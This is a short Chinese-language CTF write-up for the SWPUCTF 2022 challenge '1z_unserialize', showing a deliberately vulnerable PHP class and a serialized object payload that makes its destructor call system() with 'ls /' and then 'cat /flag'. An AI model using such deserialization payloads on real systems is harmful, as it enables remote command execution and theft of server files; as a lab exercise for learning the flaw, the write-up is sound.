反序列化加命令执行2023/10/25

发布时间 2023-10-26 12:41:26作者: lijiabuyi
#[SWPUCTF 2022 新生赛]1z_unserialize
<?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct(){ $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>

看这个代码,需要传入nss参数,然后被反序列化,调用__destruct()方法

将$lt的值赋值给$a,这个$a($this->lly)样子看到就要想到形如system(),eval()的命令执行,所以我们让$a=system,让$this->lly等于我们要执行的命令,这样就可以实现命令执行,可以读取一些我们想要的读取的文件

<?php
class lyh{
    public $lt="system";
    public $lly="ls /";            
}
$a=new lyh();
echo serialize($a);
?>
#O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

 

可以看到根目录下的文件,有个flag文件,直接将$lly="ls /"换成$lly="cat /flag"读取文件

即O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

 可以看到读取成功